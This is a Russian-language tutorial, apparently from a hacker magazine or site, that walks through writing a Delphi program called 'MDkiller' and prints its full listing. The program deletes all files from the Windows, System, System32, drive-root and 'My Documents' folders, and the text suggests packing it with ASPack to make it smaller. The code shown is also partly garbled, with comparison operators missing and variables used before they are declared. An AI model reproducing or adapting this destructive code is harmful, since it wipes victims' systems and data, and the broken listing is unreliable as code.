Системные требования:

Win9x или NT, Delphi 5+, умение программировать методом
Copy-Paste :).

Сегодня мы напишем простенькую программку на Делфи, убивающую операционную
систему Windows (a.k.a. Must Die). Даже не просто убивающую, а удаляющую все
файлы, лежащие в корне того диска, где стоит OC, папке «Мои Документы»,
директории Windows, системной директории Windows, папке System32. Например если
ты установил Мастдай в C:Windows, то при запуске проги будут удалены все файлы
(но не папки) из: C:; C:Windows, C:Мои Документы,
C:WindowsSystem,

C:WindowsSystem32.

Итак, приступим к делу. Project -> View Source. Здесь удаляем все лишнее,
чтобы в результате получилось следующее:

program MDkiller;

uses

Windows, Sysutils;

begin

end.

Теперь Делфя готова к работе. :))

Дополним это еще несколькими строками:

program MDkiller;

uses

Windows, Sysutils;

var { обьявление переменных}

S: Tsearchrec;

a1,a2,a3,a4,a5: string;

F: File;

p,p1: pchar;

begin

GetWindowsDirectory(p, max_path); {определяем директорию, где установлена
Windows}

a1:= strpas(p) + »; {переводим возвращенный параметр из типа PChar в строковый
тип и дополняем путь к директории Windows символом »}

a2:= a1[1]+ ‘:’; {определяем диск, на котором установлена ОС}

a3:= a2 + ‘Мои Документы’; {определяем папку «Мои Документы»}

getsystemdirectory(p1,max_path); {определяем cистемную директорию}

a4:= strpas(p1) ; {переводим возвращенный параметр из типа PChar в строковый тип
} a5:= a4 + ’32’; {определям System32}

a6:= a4 + »; {дополняем путь к системной директории символом »}

end.

Разберемся, что мы сделали 🙂

Переменные S: Tsearchrec и F: File необходимы для последующей процедуры
поиска файлов в заданных директориях. Остальные переменные типа string и pchar
нужны для определения необходимых параметров и перевода их в понятный фугкциям
FindFirst и FindNext язык. Для определения системной директории и директории
Windows мы использовали функции WinAPI

GetWindowsDirectory и GetSystemDirectory. Пути к нужным директориям определены,
осталось удалить из них файлы. 🙂

Для поиска и удаления воспользуемся функциями FindFirst и FindNext.

if FindFirst(a1 + ‘*.*’,faanyfile,S) 0 then FindClose(S)
else { если функция FindFirst

возвращает значение не ноль — завершить поиск, если ноль тогда продолжить}

repeat {продолжать} deletefile(a1 + S.name); {удаление найденного файла}

until {пока}

Findnext(S) 0; {не возвращено значение ноль}

FindClose(S);{тогда закончить поиск}

if FindFirst(a2 + ‘*.*’,faanyfile,S) 0 then FindClose(S) else

repeat

deletefile(a2 + S.name);

until

Findnext(S) 0;

FindClose(S);

if FindFirst(a3 + ‘*.*’,faanyfile,S) 0 then FindClose(S) else

repeat

deletefile(a3 + S.name);

until

Findnext(S) 0;

FindClose(S);

if FindFirst(a4 + ‘*.*’,faanyfile,S) 0 then FindClose(S) else

repeat

deletefile(a4 + S.name);

until

Findnext(S) 0;

FindClose(S);

if FindFirst(a5 + ‘*.*’,faanyfile,S) 0 then FindClose(S) else

repeat

deletefile(a5 + S.name);

until

Findnext(S) 0;

FindClose(S);

end.

Вот и все. Я откомментировал удаление файлов только из директории Windows, т.к.
в других случаях происходит почти то же самое — поиск и удаление файлов до тех
пор, пока не будет возвращено значение не ноль ( 0), т.е. файлов в указанной
директории больше нет. Замечу, что удаление файлов из папок, находящихся в
заданных директориях, производиться не будет, т.к. это требует усложнения
алгоритма поиска.Я написал прогу с использованием WinAPI и Sysutils, так ее
размер составил 42КВ, а зажатая ASPack’ом она стала весить всего 26КВ. Если

не использовать Sysutils, а описать поиск файлов, используя FindFirstFile и
FinfNextFile из WinAPI можно получить размер екзешника — 17 KB, сжатый ASPack’ом
— 15KB!

ЗЫ: Я тестировал прогу на Windows 2000 Pro SP1. При работе под Win9x возможны
ошибки, требующие небольшого изменения кода. Например на Win 98 SE при
определении директории, в которую установлен Мастдай, прога выдает сообщение о
ошибке и не работает. 🙁 Но если перед GetWindowsDirectory() и
GetSystemDirectory() написать p:=» и p1:=» соответственно, то все

запашет без проблем.

Полный листинг проги:

program MDkiller;

uses

Windows, Sysutils;

var

S: Tsearchrec;

a1,a2,a3,a4,a5,a6: string;

F: File;

p,p1: pchar;

begin

GetWindowsDirectory(p, max_path);

a1:= strpas(p) + »;

a2:= a1[1]+ ‘:’;

a3:= a2 + ‘Мои Документы’;

GetSystemDirectory(p1,max_path);

a4:= strpas(p1) ;

a5:= a4 + ’32’;

a6:= a4 + »;

if FindFirst(a1 + ‘*.*’,faanyfile,S) 0 then FindClose(S) else

repeat

deletefile(a1 + S.name);

until

Findnext(S) 0;

FindClose(S);

if FindFirst(a2 + ‘*.*’,faanyfile,S) 0 then FindClose(S) else

repeat

deletefile(a2 + S.name);

until

Findnext(S) 0;

FindClose(S);

if FindFirst(a3 + ‘*.*’,faanyfile,S) 0 then FindClose(S) else

repeat

deletefile(a3 + S.name);

until

Findnext(S) 0;

FindClose(S);

if FindFirst(a4 + ‘*.*’,faanyfile,S) 0 then FindClose(S) else

repeat

deletefile(a4 + S.name);

until

Findnext(S) 0;

FindClose(S);

if FindFirst(a5 + ‘*.*’,faanyfile,S) 0 then FindClose(S) else

repeat

deletefile(a5 + S.name);

until

Findnext(S) 0;

FindClose(S);

end.

News Reporter